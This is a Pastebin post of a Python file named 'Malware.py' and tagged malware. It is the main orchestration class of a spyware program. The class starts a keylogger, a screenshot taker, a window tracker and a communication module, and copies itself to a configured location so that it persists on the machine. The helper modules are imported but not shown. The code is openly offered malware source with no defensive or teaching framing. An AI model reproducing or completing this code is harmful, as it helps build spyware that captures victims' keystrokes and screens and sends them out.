Advertisement
FlyFar

Malware.py

Aug 10th, 2023
817
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.39 KB | Cybersecurity | 0 0
  1. from os import path, mkdir
  2. import sys, shutil
  3. from keylogger import Keylogger
  4. from Screenshot import Screenshot
  5. from WindowTracker import WindowTracker
  6. from Communication import Communication
  7. from Configuration import Configuration
  8.  
  9.  
  10.  
  11. class Malware:
  12.  
  13.     def __init__(self):
  14.         self.__config = Configuration()
  15.         self.__buildMalware()
  16.         self.__screenshot = Screenshot(self.__config)
  17.         self.__windowTracker = WindowTracker(self.__config, self.__screenshot)
  18.         self.__communication = Communication(self, self.__config)
  19.         self.__keylogger = Keylogger(self.__config, self.__communication)
  20.         self.__keylogger.start()
  21.         self.__windowTracker.start()
  22.         self.__communication.start()
  23.      
  24.    
  25.  
  26.     def __buildMalware(self) -> None:
  27.         if not self.__checkExistence():
  28.             self.__createStructure()    
  29.         elif  self.__config.currentPath.lower() != str(self.__config.filePath + self.__config.fileName).lower():
  30.             sys.exit()
  31.  
  32.  
  33.  
  34.     def __checkExistence(self) -> bool:
  35.         return path.isdir(self.__config.logPath) and path.isfile(self.__config.filePath + self.__config.fileName)
  36.  
  37.  
  38.  
  39.     def __createStructure(self) -> None:
  40.         mkdir(self.__config.logPath)
  41.         shutil.copy(self.__config.currentPath , self.__config.filePath + self.__config.fileName)
  42.  
  43.  
  44.  
  45.  
  46. if __name__ == "__main__":
  47.     malware = Malware()
Tags: malware
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement